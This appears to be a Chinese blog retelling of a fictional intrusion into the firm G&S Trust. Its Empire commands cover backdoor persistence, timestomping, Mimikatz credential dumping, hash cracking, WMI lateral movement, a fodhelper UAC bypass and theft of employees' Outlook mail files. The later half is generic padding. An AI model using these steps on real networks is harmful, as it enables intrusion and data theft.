16、渗透G&S Trust网络:从权限提升到数据挖掘

渗透G&S Trust网络:从权限提升到数据挖掘

在网络渗透的过程中,我们成功获取了Sarah电脑的管理员权限,为后续对G&S Trust网络的深入渗透奠定了基础。下面将详细介绍我们的操作步骤和技术要点。

持久化访问设置

在继续深入之前,我们需要确保对Sarah电脑的持久化访问。虽然目前在全球拥有八个会话可以被视为一种较弱的持久化方式,但我们希望找到一种更可靠的方法,即使在重启或网络连接中断的情况下,仍能保持管理员权限。
- 选择持久化技术 :有多种技术可用于提高持久化能力,如注册WMI事件、创建服务和自动运行注册表项等。考虑到当前环境的低阻力,我们决定采用一种简单而有效的方法:替换现有可执行文件为我们的后门程序。
- 选择目标文件 :我们查询了注册表的 Run 键,找到了多个可作为目标的二进制文件。最终选择了 AGCInvokerUtility.exe 作为替换目标。

Empire: REH4UX5P) > shell reg query "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run"
AdobeGCInvoker-1.0    REG_SZ    "C:\Program Files (x86)\Common Files\Adobe\AdobeGCClient\AGCInvokerUtility.exe"
LENOVO.TPKREAS    REG_SZ    "C:\Program Files\Lenovo\Communications Utility\TPKNRRES.exe"
AdobeAAMUpdater-1.0    REG_SZ    "C:\Program Files (x86)\Common Files\Adobe\OOBE\PDApp\UWA\UpdaterStartupUtility.exe"
  • 替换文件 :将我们的后门程序 health-check 重命名为 AGCInvokerUtility ,并上传到目标位置。
root@FrontLine:~/$ cp health-check AGCInvokerUtility
Empire: REH4UX5P) > cd "C:\Program Files (x86)\Common Files\Adobe\AdobeGCClient\AGCInvokerUtility"
Empire: REH4UX5P) > upload AGCInvokerUtility.exe
  • 修改文件时间 :为了使新的可执行文件更隐蔽,我们将其修改、访问和创建时间(MAC)设置为原始文件的时间。
Empire: REH4UX5P) > Get-Item AGCInvokerUtility_old.exe | select creationtime, lastaccesstime, lastwritetime
CreationTime        LastAccessTime     LastWriteTime
------------        --------------     -------------
02/12/2013 12:31    02/12/2013 12:31   02/12/2013 12:31
Empire: REH4UX5P) > powershell $(get-item AGCInvokerUtility.exe).creationtime=$(get-date '02/12/2013 12:31')
Empire: REH4UX5P) > powershell $(get-item AGCInvokerUtility.exe).lastaccesstime=$(get-date '02/12/2013 12:31')
Empire: REH4UX5P) > powershell $(get-item AGCInvokerUtility.exe).lastwritetime=$(get-date '02/12/2013 12:31')
探索服务器权限

使用Sarah的管理员账户尝试连接G&S Trust的所有五个区域的服务器,但发现其权限仅限于她的工作站。于是我们将目光转向Windows系统中存储的密码信息。
- Windows密码存储位置 :Windows系统在多个位置存储密码,如安全账户管理器(SAM)数据库、LSASS进程、Windows保险箱和SECURITY hive等。其中,SECURITY hive是我们关注的重点。
- 检查缓存凭据数量 :我们查询了注册表,发现该机器最多可以缓存10个凭据。

Empire: REH4UX5P) > shell reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v CachedLogonsCount
CachedLogonsCount    REG_SZ    10
  • 提取密码哈希 :使用Mimikatz工具从SECURITY hive中提取密码哈希。
Empire: REH4UX5P) > usemodule credentials/mimikatz/lsadump
Empire: lsadump) > run
mimikatz(powershell) # lsadump::cache
Domain : GSTRUST / S-1-5-21-1888508460-581619696-3689331320
SysKey: ea0fad2f73ad366ef5c9b1370d241657
* Iteration is set to default (10240)
[NL$1 - 02/03/2014 21:33:05]
RID       : 000003e8 (1000)
User      : GSTRUST\admin.joey
MsCacheV2 : 6C2459549C56B5B0E8AA702419641366
  • 破解密码 :将提取的哈希信息保存到 hash.txt 文件中,并使用hashcat工具进行破解。
C:\> type hash.txt
admin.joey $DCC2$10240#admin.joey#6C2459549C56B5B0E8AA702419641366
C:\> .\hashcat64.exe -m2100 hash.txt complete_wordlist.txt -r custom_rule.txt
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
admin.joey $DCC2$...: Ronan1987
  • 测试新账户权限 :通过查询日志,我们发现 admin.joey 属于 GS Server Maintenance 组,可能具有服务器管理员权限。我们使用该账户的凭据启动一个新的Empire代理,并测试其对 GS-CS-01 服务器的访问权限。
(Empire: REH4UX5P) > creds add GSTRUST admin.joey Ronan1987
Credentials:
  CredID  CredType   Domain   UserName    Password
  ------  --------   ------   --------    --------
  1       plaintext  GSTRUST  admin.joey  Ronan1987
(Empire: REH4UX5P) > usemodule lateral_movement/invoke_wmi
(Empire: invoke_wmi) > set Listener https_1
(Empire: invoke_wmi) > set CredID 1
(Empire: invoke_wmi) > set ComputerName GS-CS-01.GSTRUST.CORP
(Empire: invoke_wmi) > run
[+] Initial agent EM57KLGF from 31.153.12.34 now active
绕过UAC获取完全权限

虽然我们使用 admin.joey 账户成功连接到了服务器,但当前的Empire会话是以标准用户模式运行的,没有完全的管理员权限。为了绕过用户账户控制(UAC),我们采用了以下方法。
- UAC绕过原理 :某些由Microsoft签名并从已知位置(如 C:\windows\system32 )执行的受信任二进制文件不受UAC限制。我们可以利用这些文件来执行我们的代码,从而绕过UAC。
- 选择绕过工具 :选择 fodhelper.exe 作为绕过UAC的工具。该工具在执行时会查找注册表键 HKCU\Software\Classes\ms-settings\shell\open\command 并执行其中存储的文件。
- 使用Empire模块绕过UAC :我们使用 privesc/bypassuac_fodhelper 模块来实现UAC绕过。

Empire: EM57KLGF) > usemodule privesc/bypassuac_fodhelper
Empire: bypassuac) > run
[+] Initial agent NFRSE1T2 from 31.153.30.98 now active (Slack)
Empire: bypassuac) > interact NFRSE1T2
Empire: NFRSE1T2) > info
username                GSTRUST\admin.joey
high_integrity          1
获取更多凭据

获得完全管理员权限后,我们运行Mimikatz工具,获取了更多的凭据信息。

Empire: NFRSE1T2) > mimikatz
msv :
 [00000003] Primary
 * Username : admin.gloria
 * Domain   : GSTRUST
 * NTLM     : 8FC3C28E0D042760C4CD4B64A5A4C2ED
 * SHA1     : 965880f68df8481d857217139865f36324f78bf7

通过进一步检查,我们发现 admin.gloria 属于 Domain Admins 组,这意味着我们获得了顶级域管理员账户的访问权限。

数据挖掘

拥有了顶级域管理员账户 admin.gloria 的权限后,我们开始了数据挖掘之旅,目标是找出G&S Trust的避税客户身份。
- 网络共享浏览 :利用 admin.gloria 账户,我们可以访问网络中的任何系统。我们从HR共享文件夹开始,手动浏览之前无法访问的共享文件夹,但没有找到我们想要的客户身份信息。

Empire: NFRSE1T2) > shell dir \\GS-ML-02.gstrust.corp\HR
LastWriteTime         length Name
-------------         ------ ---- 
3/11/2018 2:18:25 PM         Employees Worldwide
3/8/2018 5:41:47 PM          Bonuses
2/20/2018 10:32:49 PM        Legal HR documents
2/12/2018 10:32:49 PM        Reviews
  • 关注工作站 :我们将注意力转向执行团队的工作站。由于执行团队的大部分重要信息通过电子邮件交流,而Outlook会将邮件本地缓存为OST文件,因此访问这些工作站可以轻松获取邮件。
  • 匹配工作站和人员 :通过之前的计算机侦察结果,我们获取了所有工作站的主机名。然后使用PowerView的 get_computer 模块结合LDAP过滤器排除服务器,得到工作站列表。
root@C2Server:~# grep -Ei -B4 "operatingsystem\s+: Windows [7 8 10]+" agent.log
cn: WL0912
operatingsystem               : Windows 10
cn: WG0081
operatingsystem               : Windows 10
(Empire: NFRSE1T2) > usemodule powershell/situational_awareness/network/powerview/get_computer
(Empire: get_computer) > set LDAPFilter (!(operatingsystem=*server*))
(Empire: get_computer) > execute
  • 识别工作站用户 :将工作站列表转换为PowerShell数组,通过循环尝试列出 C:\users 文件夹,从而识别每个工作站的用户。
Empire: NFRSE1T2) > shell @("WL0912", "WG0081", [--snip--]) | foreach{write-output $_; dir $_\c$\users}
WL0912
Mode         LastWriteTime        Length   Name
------       -------------        ------   ----
d-----       4/23/2020            1:29 PM  alice
WG0081
Mode         LastWriteTime        Length   Name
------       -------------        ------   ----
d-----       4/23/2020            3:25 PM  mike
  • 下载OST文件 :利用网络的扁平架构,直接从塞浦路斯的文件服务器访问这些工作站,并下载OST文件。
Empire: NFRSE1T2) > download \\WL0912.gstrust.corp\C$\Users\alice\AppData\Local\Microsoft\Outlook\alice@gs-trust.com
  • 处理不可达工作站 :如果公司采用了不同的网络架构,导致某些工作站不可达,我们可以通过分析域控制器的连接日志,找出用户和计算机的对应关系。然后使用 new_gpo_immediate_task 模块创建GPO设置,在计算机与域控制器同步时生成新的shell。
PS C:\> Get-WinEvent -LogName 'security' -computer localhost | 
 Where-Object { $_.Id -eq 4624 } | 
 Select-Object -Property timecreated, id, 
 @{label='computer';expression={$_.properties[11].value}}, 
 @{label='username';expression={$_.properties[5].value}} | 
 Where-Object { $_.username -ne 'SYSTEM' -and
 !$_.username.EndsWith('$') -and $_.computer -ne '-'}
TimeCreated              Id computer       username
-----------              -- --------       --------
12/29/2020 5:00:03 PM  4624 WL0912         alice
12/29/2020 4:59:51 PM  4624 WG0081         mike
  • 分析邮件数据 :将下载的OST文件加载到Outlook客户端,仔细分析邮件内容,寻找附件文件或存储系统的链接。经过大量的邮件分析,我们发现了指向第三方虚拟数据室的链接,这里可能存储着G&S Trust所有敏感文件。

通过以上步骤,我们从获取初始权限开始,逐步提升权限,最终找到了获取关键数据的线索。整个过程展示了网络渗透和数据挖掘的复杂过程,需要综合运用各种技术和工具。

下面是整个流程的mermaid流程图:

graph LR
    classDef startend fill:#F5EBFF,stroke:#BE8FED,stroke-width:2px;
    classDef process fill:#E5F6FF,stroke:#73A6FF,stroke-width:2px;
    classDef decision fill:#FFF6CC,stroke:#FFBC52,stroke-width:2px;

    A([开始]):::startend --> B(获取Sarah电脑管理员权限):::process
    B --> C(设置持久化访问):::process
    C --> D(探索服务器权限):::process
    D --> E{是否找到新账户权限}:::decision
    E -- 是 --> F(测试新账户权限):::process
    E -- 否 --> D
    F --> G(绕过UAC获取完全权限):::process
    G --> H(获取更多凭据):::process
    H --> I(获得顶级域管理员权限):::process
    I --> J(数据挖掘):::process
    J --> K{是否找到客户身份信息}:::decision
    K -- 是 --> L([结束]):::startend
    K -- 否 --> J

通过这个流程图,我们可以清晰地看到整个操作的步骤和决策过程。从最初的权限获取到最终的数据挖掘,每个步骤都紧密相连,为实现最终目标奠定了基础。在实际操作中,我们需要根据具体情况灵活调整策略,不断尝试和探索,以达到预期的效果。同时,我们也应该认识到网络安全的重要性,加强对系统的保护,防止类似的渗透事件发生。

渗透G&S Trust网络:从权限提升到数据挖掘(续)

虚拟数据室的挑战与应对

找到指向第三方虚拟数据室的链接后,我们知道距离获取G&S Trust的敏感文件已经很近了,但这并不意味着可以轻松获取数据。虚拟数据室通常有严格的访问控制和安全机制,我们需要进一步分析和应对。
- 评估访问难度 :首先,我们需要了解虚拟数据室的访问方式、认证机制和安全防护措施。这可能包括用户名和密码认证、多因素认证、IP地址限制等。通过对链接的分析和相关信息的收集,我们尝试推测其安全级别和可能的弱点。
- 尝试访问 :在评估了访问难度后,我们尝试使用已有的权限和信息访问虚拟数据室。如果需要用户名和密码,我们可以尝试使用之前获取的账户凭据进行登录。如果遇到IP地址限制,我们可能需要寻找绕过的方法,例如使用代理服务器或VPN。
- 数据提取与分析 :一旦成功访问虚拟数据室,我们需要提取其中的敏感文件。这可能涉及到文件下载、复制等操作。提取数据后,我们需要对其进行分析,以确定是否包含我们需要的客户身份信息。这可能需要使用数据分析工具和技术,如文本挖掘、数据可视化等。

数据处理与分析

获取到大量的邮件和虚拟数据室中的文件后,我们面临着处理和分析这些数据的挑战。这些数据可能包含各种格式的文件,如PDF、Excel、Word等,并且数量巨大。为了从中提取有价值的信息,我们需要采用以下方法。
- 数据清洗 :首先,我们需要对数据进行清洗,去除无用的信息和噪声。这可能包括删除重复的邮件、去除HTML标签、处理乱码等。数据清洗可以提高后续分析的效率和准确性。
- 信息提取 :使用文本挖掘和自然语言处理技术,从邮件和文件中提取关键信息。例如,我们可以提取客户的姓名、公司名称、联系方式等。这可能需要编写正则表达式或使用机器学习模型进行训练。
- 数据关联与整合 :将提取的信息进行关联和整合,构建客户的画像和关系网络。例如,我们可以将客户的姓名与公司名称关联起来,了解客户所在的公司。通过数据关联和整合,我们可以发现潜在的关系和模式。
- 可视化分析 :使用数据可视化工具,将处理后的数据以直观的图表和图形展示出来。这可以帮助我们更快速地发现数据中的规律和趋势。例如,我们可以使用柱状图展示不同公司的客户数量,使用关系图展示客户之间的关系。

总结与启示

通过这次对G&S Trust网络的渗透和数据挖掘,我们不仅成功获取了关键数据,还积累了宝贵的经验。以下是一些总结和启示。
- 技术手段的重要性 :在网络渗透和数据挖掘过程中,我们需要掌握各种技术手段,如权限提升、密码破解、UAC绕过、数据处理和分析等。只有熟练掌握这些技术,才能在复杂的网络环境中找到突破口。
- 信息收集与分析 :信息收集和分析是整个过程的基础。通过对目标网络的深入了解和分析,我们可以找到潜在的弱点和机会。同时,对收集到的信息进行有效的处理和分析,可以帮助我们提取有价值的信息。
- 团队协作与沟通 :网络渗透和数据挖掘是一个复杂的过程,需要团队成员之间的协作和沟通。不同的成员可能具备不同的技能和知识,通过团队协作,可以充分发挥每个人的优势,提高工作效率。
- 法律与道德意识 :在进行网络渗透和数据挖掘时,我们必须遵守法律法规和道德准则。未经授权的网络攻击和数据窃取是违法的行为,我们应该在合法的前提下进行安全测试和研究。

以下是整个数据处理和分析过程的表格总结:
|步骤|操作内容|
| ---- | ---- |
|数据清洗|去除无用信息和噪声,如删除重复邮件、处理乱码等|
|信息提取|使用文本挖掘和自然语言处理技术提取关键信息|
|数据关联与整合|将提取的信息进行关联和整合,构建客户画像和关系网络|
|可视化分析|使用数据可视化工具展示处理后的数据|

下面是数据挖掘过程的mermaid流程图:

graph LR
    classDef startend fill:#F5EBFF,stroke:#BE8FED,stroke-width:2px;
    classDef process fill:#E5F6FF,stroke:#73A6FF,stroke-width:2px;
    classDef decision fill:#FFF6CC,stroke:#FFBC52,stroke-width:2px;

    A([开始]):::startend --> B(获取邮件和文件数据):::process
    B --> C(数据清洗):::process
    C --> D(信息提取):::process
    D --> E(数据关联与整合):::process
    E --> F(可视化分析):::process
    F --> G{是否找到客户身份信息}:::decision
    G -- 是 --> H([结束]):::startend
    G -- 否 --> B

通过这个流程图,我们可以清晰地看到数据挖掘的整个过程。从数据获取到最终的信息发现,每个步骤都相互关联,需要我们逐步推进。在实际操作中,我们可能需要根据具体情况对流程进行调整和优化,以提高数据挖掘的效率和准确性。

总之,这次对G&S Trust网络的渗透和数据挖掘是一次富有挑战性和收获的经历。通过不断地学习和实践,我们可以提高自己的技术水平和解决问题的能力,同时也应该将这些经验应用到网络安全的保护中,为维护网络安全贡献自己的力量。

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符  | 博主筛选后可见
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值